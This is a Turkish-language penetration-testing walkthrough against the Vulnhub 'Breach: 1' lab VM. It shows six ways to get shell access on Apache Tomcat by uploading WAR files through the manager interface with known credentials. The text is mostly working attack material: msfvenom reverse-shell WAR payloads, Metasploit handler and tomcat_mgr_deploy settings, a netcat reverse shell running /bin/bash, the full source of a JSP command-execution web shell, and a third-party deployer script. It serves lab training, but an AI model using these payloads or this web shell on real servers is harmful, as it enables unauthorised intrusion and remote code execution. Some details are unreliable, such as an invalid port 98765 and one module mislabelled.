Yazıda kullanılan Breach: 1 sanal makinesi Vulnhub sitesinden indirilebilir.
https://www.vulnhub.com/entry/breach-1,152/
Not: Varsayılan durumda mevcut sanal ethernet kartına statik IP adresi (192.168.110.140) atanmıştır.
TCP/8443 portundan hizmet veren Tomcat üzerinde yönetici yetkileri ile oturum açmak için aşağıdaki erişim bilgileri kullanılabilir.
URL: https://192.168.110.140:8443/_M@nag3Me/html
Kullanıcı Adı: tomcat
Parola: Tt\5D8F(#!*u=G)4m7zB
Uygulamaya erişilmek istendiğinde erişimde tünelleme hatası alındığına dair bir mesaj ile karşılaşılmaktadır.
https://192.168.110.140:8443
Bunun sebebi hedef sunucudaki şifreleme paketlerinin güvenilir olmamasıdır.
wget https://192.168.110.140:8443 –no-check-certificate
sslscan 192.168.110.140:8443
Bu hatadan kurtulmak için browser ayarları değiştirilebileceği gibi bir aracı uygulama üzerinden bağlantı da sağlanabilir. Örneğin, Burp Suite gibi bir vekil sunucu ile araya girildiğinde SSL hatası alınmamaya başlanmıştır.
Vekil sunucu aracılığı ile kimlik doğrulama sayfasına erişim sağlanabilmektedir.
URL: https://192.168.110.140:8443/_M@nag3Me/html
Kullanıcı adı: tomcat
Parola: Tt\5D8F(#!*u=G)4m7zB
Böylece oturum açılabilmiştir.
Oturum açıldıktan sonra varsayılan yönetici ekranının kullanıldığı ve uzaktan WAR dosyası yüklenebildiği görülmektedir. Yüklenebilecek olan WAR dosyası çağırıldığında bu dosyada belirtilen kodların çalışması sağlanabilmektedir. Bu yöntemle
1) MSFVenom ile oluşturulan War Dosyası ile Meterpreter Erişimi Elde Etme
WAR dosyası oluşturmak için MSFVenom aracı kullanılabilir.
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.110.129 LPORT=13579 -f war -o ZararliDosya.war
“Deploy” başlığı altına hazırlanan WAR dosyası yüklenebilir.
“Applications” başlığı altında bu WAR dosyası görülebilir.
Yüklenen WAR dosyası çağırıldığında gelecek talebi yakalayacak olan dinleyici başlatılır.
use exploit/multi/handler
set PAYLOAD java/meterpreter/reverse_tcp
set LHOST 192.168.110.129
set LPORT 13579
exploit -j
Yüklenen uygulama çağırıldığında Meterpreter bağlantısı elde edilmiş olur.
sessions
sessions -i 1
shell
uname -a
2) Laudanum cmd.war Dosyası ile Bash Kabuk Satırı Erişimi Elde Etme
Standart komut satırı erişimi için Laudanum aracı kullanılabilir. Laudanum içerisinde asp, aspx, cfm, jsp, php, wordpress gibi bir çok platform için zararlı dosya bulunmaktadır.
wget https://netcologne.dl.sourceforge.net/project/laudanum/laudanum-1.0/laudanum-1.0.tgz
tar -xzf laudanum-1.0.tgz
cd laudanum/
ls
Tomcat için “cmd.war” dosyası kullanılabilir.
cd jsp/
ls
cd warfiles/
ls
Bu dosya önceki başlıkta belirtildiği (“War file to deploy“) gibi hedef sunucuya yüklenebilir.
Yüklenen uygulama çalıştığında komut çalıştırılabilecek sayfaya erişim sağlanmış olur.
https://192.168.110.140:8443/cmd/cmd.jsp
hostname
Yüklenen “cmd.war” dosyası ile ters komut satırı erişimi elde edilebilir. Bu talebi yakalayacak olan dinleyici başlatılır.
nc -nlvp 24680
Metin alanına ters bağlantı talebi girildiğinde uygulama kullanıcısı yetkileri (tomcat6) ile Bash komut satırı erişimi yakalanmış olur.
nc 192.168.110.129 24680 -e /bin/bash
id
cat /etc/*release*
python -c ‘import pty;pty.spawn(“/bin/bash”)’
Not: Laudanum yerine MSFvenom ile oluşturulan bir WAR dosyası kullanılarak da Bash komut satırı erişimi elde edilebilirdi.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.110.129 LPORT=98765 -f war > ZararlıKomutSatiri.war
3) MSF tomcat_mgr_deploy İstismar Modülü ile Meterpreter Erişimi Sağlanması
Bash veya Meterpreter komut satırına otomatik olarak erişim için MSF tomcat_mgr_deploy istismar modülü kullanılabilir. Bu modül “/manager/html/upload” bileşenine HTTP PUT metodu ile war dosyası yükler. Ayrıca TARGET değişkeninin gözetilerek kullanılması da bu modül için önemlidir.
use exploit/multi/http/tomcat_mgr_deploy
show options
Mevcut sanal makinede gerekli ayarlar yapılmasına rağmen komut satırı elde edilememiştir.
set PATH /_M@nag3Me/
set HttpUsername tomcat
set HttpPassword Tt\5D8F(#!*u=G)4m7zB
set RHOST 192.168.110.140
set RPORT 8443
set SSL true
set SSLVERSION Auto
set Proxies http:127.0.0.1:8080
set ReverseAllowProxy true
set TARGET 0
run
Bunun yanında aynı modül benzer ayarlar ile Metasploitable-2 sanal makinesinde çalışabilmektedir.
use exploit/multi/http/tomcat_mgr_deploy
set PATH /manager
set HttpUsername tomcat
set HttpPassword tomcat
set RHOST 192.168.110.130
set RPORT 8180
exploit
shell
id
uname -a
4) MSF tomcat_mgr_upload İstismar Modülü ile Meterpreter Erişimi Sağlanması
Bash veya Meterpreter komut satırına otomatik olarak erişim için MSF tomcat_mgr_upload istismar modülü kullanılabilir. Bu modül “/manager/html/upload” bileşenine HTTP POST metodu ile war dosyası yükler. Örnek bir kullanım aşağıdaki gibidir.
search tomcat_mgr_deploy
use exploit/multi/http/tomcat_mgr_deploy
show options
Seçenekleri ayarlanır.
set RHOST 192.168.30.139
set RPORT 8080
set USERNAME tomcat
set PASSWORD tomcat
show options
Tomcat uygulama kullanıcısı yetkisi ile oturum elde edilir.
exploit
getuid
5) Manuel Olarak WAR Dosyası Hazırlama
Bir JSP veya Servlet kullanarak da Web Shell dosyası hazırlanabilir. Örnek bir dosya içeriği aşağıdaki gibidir.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
<FORM METHOD=GET ACTION='index.jsp'> <INPUT name='cmd' type=text> <INPUT type=submit value='Run'> </FORM> <%@ page import="java.io.*" %> <% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd,null,null); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s+"</br>"; } } catch(IOException e) { e.printStackTrace(); } } %> <pre><%=output %></pre> |
Bu dosya bir dizine atılıp, o dizin war formatına getirilerek hedef Tomcat sunucuya gönderilmeye hazır hale getirilebilir.
mkdir Zararli
cp index.jsp Zararli
cd Zararli
jar -cvf ../Zararli.war *
6) Tomcat War Deployer Betiği
Bir diğer yöntem de Gİthub üzerindeki Tomcat War Deployer betiğini kullanmaktır.
git clone https://github.com/mgeeky/tomcatWarDeployer
python tomcatWarDeployer.py -U tomcat -P tomcat -H 192.168.1.108 -p 4567 192.168.1.101:8080
Kaynaklar:
https://blog.secureideas.com/2013/01/laudanum-by-example-shell.html
https://pentesterlab.com/exercises/axis2_and_tomcat_manager/course
Vulnhub – Breach 1.0 walkthrough
https://charlesreid1.com/wiki/Metasploitable/Apache/Tomcat_and_Coyote#Uploading_Java_Executable_with_Metasploit
http://blog.opensecurityresearch.com/2012/09/manually-exploiting-tomcat-manager.html